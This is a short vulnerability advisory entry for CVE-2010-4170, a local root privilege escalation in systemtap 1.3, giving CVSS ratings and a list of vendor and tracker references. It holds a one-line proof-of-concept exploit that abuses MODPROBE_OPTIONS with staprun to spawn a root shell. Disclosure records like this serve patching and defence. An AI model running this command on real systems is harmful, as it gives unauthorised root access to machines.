systemtap 1.3 Local Root Privilege Escalation Vulnerability

2010-12-08 / 2010-12-09

Credit: Tavis Ormandy

Risk: High

Local: Yes

Remote: No

CVE: CVE-2010-4170

CWE: CWE-264

CVSS Base Score: 7.2/10

Impact Subscore: 10/10

Exploitability Subscore: 3.9/10

Exploit range: Local

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

CVE-2010-4170
printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever
RHEL Advisory:
https://rhn.redhat.com/errata/RHSA-2010-0894.html

References:

http://sources.redhat.com/git/gitweb.cgi?p=systemtap.git;a=commit;h=b7565b41228bea196cefa3a7d43ab67f8f9152e2

http://xforce.iss.net/xforce/xfdb/63344

http://www.securitytracker.com/id?1024754

http://www.securityfocus.com/bid/44914

http://www.redhat.com/support/errata/RHSA-2010-0895.html

http://www.redhat.com/support/errata/RHSA-2010-0894.html

http://www.exploit-db.com/exploits/15620

http://sources.redhat.com/ml/systemtap/2010-q4/msg00230.html

http://secunia.com/advisories/42318

http://secunia.com/advisories/42306

http://secunia.com/advisories/42263

http://secunia.com/advisories/42256

http://lists.fedoraproject.org/pipermail/package-announce/2010-November/051127.html

http://lists.fedoraproject.org/pipermail/package-announce/2010-November/051122.html

http://lists.fedoraproject.org/pipermail/package-announce/2010-November/051115.html

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